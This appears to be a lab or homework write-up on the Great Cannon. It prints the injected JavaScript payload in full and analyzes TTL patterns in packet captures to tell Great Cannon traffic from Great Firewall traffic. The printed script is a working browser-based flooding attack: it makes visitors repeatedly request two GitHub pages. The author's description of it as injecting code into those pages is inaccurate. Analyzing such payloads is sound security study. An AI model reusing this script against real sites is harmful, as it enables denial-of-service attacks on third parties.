1. **Find the payload**

```
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery&&document.write("<script
src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime=(new Date).getTime();
var count=0;
function unixtime()
   {
   var a=new Date;
   return
Date.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/
1E3
}
url_array=["https://github.com/greatfire","https://github.com/cn-nytimes"];
NUM=url_array.length;
function r_send2()
   {
   var a=unixtime()%NUM;
   get(url_array[a])
}
function get(a)
   {
   var b;
   $.ajax(
         {
         url:a,dataType:"script",timeout:1E4,cache:!0,beforeSend:function()
                  {
                  requestTime=(new Date).getTime()
         }
         ,complete:function()
                  {
                  responseTime=(new Date).getTime();
                  b=Math.floor(responseTime-requestTime);
                  3E5>responseTime-startime&&(r_send(b),count+=1)
         }
   }
   )
}
function r_send(a)
   {
   setTimeout("r_send2()",a)
}
setTimeout("r_send2()",2E3);
```

I believe that this javascript is injecting the github for greatfire and the new york times with the malicious code from the GC.

2. Identifying the GC

21 flows had their traffic hijacked by the GC.

The TTLs across the GC injected packets are related, you can tell this because they increment by one each packet, and when a new flow starts the TTL of the first packet in that flow is one higher than the TTL of the last packet in the last flow.

The TTLs of the GC and GFW are not on the same counter. When you look at the hijacked flows in the “both_sidechannel.tcpdump” file you can see that the TTLs of GC flows are unaffected by GFW events, having the same TTL pattern as they did in the file without GFW events. Also the GFW flow TTLs were different that the GC TTLs by hundreds wich also shows that they are not correlated at all.